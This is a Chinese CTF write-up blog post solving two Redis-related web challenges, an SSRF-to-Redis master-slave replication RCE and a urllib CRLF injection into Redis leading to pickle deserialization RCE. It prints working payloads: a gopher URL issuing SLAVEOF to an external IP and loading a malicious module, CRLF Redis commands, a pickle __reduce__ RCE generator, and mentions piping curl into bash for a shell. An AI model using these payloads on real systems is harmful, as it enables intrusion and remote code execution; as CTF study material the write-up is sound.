抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

  • 本学期最后一篇文章。写完就要复习去了。

文章写在RCTF第一天。web狗真实自闭.本来想把假期前最后一篇文章留给RCTFwp的。现在看都不用写了,反正只会一道。原先听说过ROIS的web很强,zsx大师傅是巨佬,没想到恐怖如斯。(这就是ROIS跟zsx的可怕之处吗,怕了怕了)

所以比赛第一天留意到有个pwnhub公开赛,于是就去水了下,好歹是拿了个邀请码。这题因为是redis相关,联想到之前网鼎杯玄武的那道redis,加上自己原来基本没做过redis题,打算把这两道题相关知识点都总结下,当做这学期的收尾吧。

网鼎杯玄武组ssrfme

这题真没想到,是郁师傅出的题……网上大部分做法都是主从复制RCE做的,不过郁师傅说试试不用主从复制做,不知道是什么姿势。

<?php 
function check_inner_ip($url) 
{ 
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url); 
    if (!$match_result) 
    { 
        die('url fomat error'); 
    } 
    try 
    { 
        $url_parse=parse_url($url); 
    } 
    catch(Exception $e) 
    { 
        die('url fomat error'); 
        return false; 
    } 
    $hostname=$url_parse['host']; 
    $ip=gethostbyname($hostname); 
    $int_ip=ip2long($ip); 
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; 
} 

function safe_request_url($url) 
{ 

    if (check_inner_ip($url)) 
    { 
        echo $url.' is inner ip'; 
    } 
    else 
    {
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_HEADER, 0); 
        $output = curl_exec($ch); 
        $result_info = curl_getinfo($ch); 
        if ($result_info['redirect_url']) 
        { 
            safe_request_url($result_info['redirect_url']); 
        } 
        curl_close($ch); 
        var_dump($output); 
    } 

} 
if(isset($_GET['url'])){
    $url = $_GET['url']; 
    if(!empty($url)){ 
        safe_request_url($url); 
    } 
}
else{
    highlight_file(__FILE__);
}
// Please visit hint.php locally. 
?>

首先拿到题目是经典的yulige标配ssrf。可以看到,我们允许使用的scheme是http,gopher以及dict。然后需要绕过一个内网ip检测,即可进行curl的ssrf.

看到提示说访问hint.php。看来需要绕过ip限制进行内网访问。这个点之前总结ssrf时提到过,算是基本trick了

url=http://bycsec.top@0.0.0.0/hint.php

0.0.0.0默认本地。@则是因为phpparse_url只会匹配到最后一个@后的内容的原因。这样我们就可以绕过了。

得到一个redis密码。下面是试图得到webshell

通常来说ssrf+redis getshell主要是这几种姿势

  1. 可写webshell。
  2. 写ssh公钥
  3. 写crontab反弹shell(仅限centos)
  4. 主从复制RCE

这里最简单的是可写webshell的情况。具体上就跟之前GKCTF那题一样,payload编码好就能用gopher打。

此处虽然是php,但是并不能写webshell。剩下的当然是更不可能的。因为没有ssh跟crontab服务。那么值得一试的就是主从复制RCE了

详细知识可以去看郁师傅在xray社区发的redis安全学习小记。

主从复制,主要利用的就是redisSLAVE OF的命令,将一台redis的数据复制到另一台。前者为主节点,后者为从节点。这个复制过程是单向的。

而我们redis主从复制RCE的方式,其实就是利用了redis简洁的协议,构造恶意服务器,将原本用于存储备份的rdb文件,替换为我们恶意的exp.so。这样节点redis中就会自动生成exp.so,使得我们可以用load_module进行rce.

需要注意的是,因为利用redis写文件的方式写入exp.so会因为redis的大量无用数据padding影响其正常使用。而我们利用主从复制上传so,主要用到的是web应用层面的上传。而php默认的www-data是644,拥有只读权限。实战中是完全可以结合上传攻击的。

因此本题只要用到两个两个工具即可
https://github.com/xmsec/redis-ssrf
https://github.com/n0b0dyCN/redis-rogue-server

前者用于生成payload,同时也可启动恶意server。后者主要是exp.so。建议把exp.so直接拷到前面文件夹下就行了。

然后我们设置对应的payload。修改ssrf-redis.py在默认的rce模式下,只要改命令,lhost,lport,密码即可。然后启动恶意服务器。用前面生成好的payload直接打。
url=gopher%3a%2f%2fwww.bycsec.top%400.0.0.0%3a6379%2f_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%252430%250D%250Awelcometowangdingbeissrfme6379%250D%250A%252A3%250D%250A%25247%250D%250ASLAVEOF%250D%250A%252414%250D%250A120.27.246.202%250D%250A%25244%250D%250A6666%250D%250A%252A4%250D%250A%25246%250D%250ACONFIG%250D%250A%25243%250D%250ASET%250D%250A%25243%250D%250Adir%250D%250A%25245%250D%250A%2ftmp%2f%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25246%250D%250Aexp.so%250D%250A%252A3%250D%250A%25246%250D%250AMODULE%250D%250A%25244%250D%250ALOAD%250D%250A%252411%250D%250A%2ftmp%2fexp.so%250D%250A%252A2%250D%250A%252411%250D%250Asystem.exec%250D%250A%252413%250D%250Acat%2524%257BIFS%257D%2ffl%252A%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A
第一次打会建立好主从复制。这时候就可以关掉server直接用ssrf命令进行RCE了。

pwnhub公开赛-七爪鱼 flag在线爬取系统

这次做题本来是因为被RCTF虐惨了跑去看看的。结果难度似乎适中。刚好给我一点点满足感。

首先题目server是gunicorn的配置。这个从header中可以看出来。然后注册登录后发现有一个爬虫/spider路由。拿file:///etc/passwd打一发可以读到/etc/passwd.看来又是个ssrf。

同时注意到用户里有redis-db跟server.看来是有redis了。

简单探测下发现6379端口有redis的报错回显。

第一反应先读了下bash_history。发现一个没权限一个不存在。(假如能用这种方式知道根目录flag的名称那就会简便很多,这也是我在wustctf当时直接读到flag的非预期思路)

然后期间触发了报错。发现是python的urllib库调用的urlopen。这个库熟悉的话应该都知道是存在CRLF的洞的。我们可以用这个ssrf往自己服务器打一波。nc监听的话会发现是python3.5的urllib。

对urllib的ssrf,用http协议下的可以直接打

http://127.0.0.1:6379?%0d%0aKEYS%20*%0d%0apadding
只返回$-1

http://127.0.0.1:6379?%0d%0aconfig%20set%20dir%20/tmp%0d%0aconfig%20set%20dbfilename%20byc%0d%0asave%0d%0apadding
file:///tmp/byc
成功写入文件

那么此时大致确认可以用这个ssrf打redis了。但是要注意的是我们python服务器不能直接写webshell。不能写定时和key。而且由于gopher不支持也不能进行RCE。换言之我们只能对redis进行命令操作。所以我想先尝试探测源码信息

首先是/proc/self/cmdline。读到了gunicorn的相关配置。

/usr/local/python3/bin/python3.5/usr/local/python3/bin/gunicorn--config=config.pyrun:app

得到run.py。这里直接用/proc/self/cwd/run.py去读工作目录下的源码

# -*- coding: utf-8 -*-
import pickle
from sipder import Spider
from redis import StrictRedis
from flask import Flask, render_template, redirect, session, request, make_response, url_for, abort, render_template_string
from user import *


app = Flask(__name__)
redis = StrictRedis(host='127.0.0.1',port=6379,db=0)

@app.route('/')
def index():
    cookie = request.cookies.get("Cookie")
    return redirect(url_for("login"))

@app.route('/login/',methods=['GET','POST'])
def login():
    if request.method != 'GET':
        username = request.form.get('username')
        password = request.form.get('password')
        cookie = Cookie()
        cookie.create = username
        cookie = cookie.create
        try:
            if redis.exists(cookie):
                user = pickle.loads(redis.get(cookie))
                if user.verify_pass(password):
                    resp = make_response(redirect(url_for('home')))
                    resp.set_cookie('Cookie',cookie)
                    return resp
        except:
            abort(500)
    return render_template("login.html")

@app.route('/register/',methods=['GET','POST'])
def register():
    if request.method != 'GET':
        email = request.form.get('email')
        username = request.form.get('username')
        password = request.form.get('password')
        user = User(email,username,password)
        cookie = Cookie()
        cookie.create = username
        cookie = cookie.create
        try:
            if not redis.exists(cookie):
                redis.set(cookie,pickle.dumps(user))
                resp = make_response(redirect(url_for('home')))
                resp.set_cookie("Cookie",cookie)
                return resp
        except:
            abort(500)
    return render_template("register.html")


@app.route('/home/',methods=['GET','POST'])
def home():
    cookie = request.cookies.get('Cookie')
    try:
        if Cookie.verify(cookie) and redis.exists(cookie):
            user = redis.get(cookie)
            user = pickle.loads(user)
            if request.method != "GET":
                formlist = request.form.to_dict()
                User.modify_info(user,formlist)
                redis.set(cookie,pickle.dumps(user))
                return render_template("home.html",user=user)
            return render_template("home.html",user=user)
    except:
        return abort(500)
    return redirect(url_for("login"))


@app.route('/spider/',methods=['GET','POST'])
def spider():
    cookie = request.cookies.get('Cookie')
    try:
        if Cookie.verify(cookie) and redis.exists(cookie):
            user = redis.get(cookie)
            user = pickle.loads(user)
    except:
        return abort(500)
    result=''
    if request.method == "GET":
        result=''
    elif request.method != "GET" and request.form.get('url')!=None:
        try:
            target_url = request.form.get('url')
            new_spider = Spider(target_url)
            result = new_spider.spiderFlag()
        except Excetion as e:
            result = e
    return render_template("spider.html",result=str(result),user=user)

@app.route('/testSpider/')
def TSpider():
    html = '<div id="flag">Flag{hahaha This is a test for tested Spider mode}</div>'
    return render_template_string(html)


@app.route('/logout/')
def logout():
    resp = make_response(redirect(url_for('login')))
    resp.set_cookie('Cookie','')
    return resp

@app.errorhandler(500)
def error(e):
    return render_template("error.html")

if __name__ == "__main__":
    app.run(
        debug=True,
        port=5000,
        host="0.0.0.0"
    )

从调用的包看到还有两个自定义的包。也一并读下来、
sipder.py


import urllib
import urllib.request

from bs4 import BeautifulSoup


class Spider:
    def __init__(self, url):
        self.target_url = url

    def __getResponse(self):
        try:
            info = urllib.request.urlopen(self.target_url).read().decode("utf-8")
            return (info, True)
        except Exception as err:
            return (err, False)

    def spiderFlag(self):
        infos = self.__getResponse()
        if infos[1]:
            soup = BeautifulSoup(infos[0])
            flag = soup.find(id=='flag')
            return infos[0]
            return flag.text
        return infos[0]

user.py

-*- coding: utf-8 -*-

from hashlib import md5

# here put the import lib
class User(object):
    def __init__(self,email,username,password):
        self.email = email
        self.username = username
        self.password = md5(password.encode(encoding='utf8')).hexdigest()
        self.phone = None
        self.qqnumber = None
        self.intro = None

    def verify_pass(self,password):
        if password and md5(password.encode(encoding='utf8')).hexdigest() == self.password:
            return True
        return None

    @staticmethod
    def modify_info(obj,dict):
        for key in dict:
            if hasattr(obj,key) and dict[key]!='':
                setattr(obj,key,dict[key])



class Cookie(object):
    __key = "abcd"
    def __init__(self):
        __key = "abcd"

    @property
    def create(self):
        self.mix_str = (self.username+Cookie.__key).encode(encoding="utf8")
        self.md5_str = self.username+md5(self.mix_str).hexdigest()
        return self.md5_str

    @create.setter
    def create(self,username):
        self.username = username

    @staticmethod
    def verify(verify_cookie):
        if verify_cookie:
            username = verify_cookie[:-32]
            verify_str = verify_cookie[-32:]
            return md5((username+Cookie.__key).encode(encoding="utf8")).hexdigest()==verify_str
        return None

这里主要得到两个信息。redis无密码。且是用来存储cookie的。而cookie的值会被调用出来进行pickle的反序列化。

不用说,我们也大致明白思路了:操作redis修改cookie键对应的值。用cookie刷新触发反序列化RCE。
这个考点在去年的swpuctf的web2中也出现过。可惜自己因为环境问题一直没能在buu上做。

这里基于源码比较齐全。我就本地简单搭建了一个server。然后触发一个生成cookie存储的过程。看看大致的存储规律

实际上就是以我们的cookie作为键,pickle的opcode作为值,比flask的默认存储直观很多。

那么很简单了,我们生成下RCE代码

import pickle
import urllib.parse

class exp(object):
    def __reduce__(self):
        return (eval,("__import__('os').system('echo `ls /` > /tmp/byc')",))
a = exp()
s=pickle.dumps(a)
print(s)

这里为了不给服务器带来困扰,直接把根目录ls的结果写到tmp目录下,然后我们就能用读文件的途径直接读了。

命令

http://127.0.0.1:6379?%0d%0aset "byc40418e2b681af1051d6fcb32e3d3f7071f6" "\x80\x03cbuiltins\neval\nq\x00X7\x00\x00\x00__import__('os').system('echo `ls /` > /tmp/byc4')q\x01\x85q\x02Rq\x03."%0d%0apadding

开始我在担心编码问题。后来发现应该不用在意。直接用python3的opcode结果就可以了。
刷新下cookie对应页面,然后读文件file:///tmp/byc4

接下来就可以直接读flag了。当然后面我试了下直接用curl xxx|bash弹个shell也是可以的。方法有很多。

小结

两道题都算是php与redis以及python与redis的经典搭配了。当然redis的利用还有很多,以后会慢慢学习。

然后RCTF险些爆零……calc这题真的是太考验基本功了。做的人心累。

最后就要收心好好复习了。这学期大部分时间都花在了ctf上,课业不像以往那样心里有底了。感觉得好好复习一把。现在CTF马上也快打一年了,自己很高兴水平比以往要高了不少。但是自己作为x1c的web手,还是感觉实力跟别的强队相比差了不少。希望暑假能好好研究下自己想学的东西,尽量过的充实点吧。

评论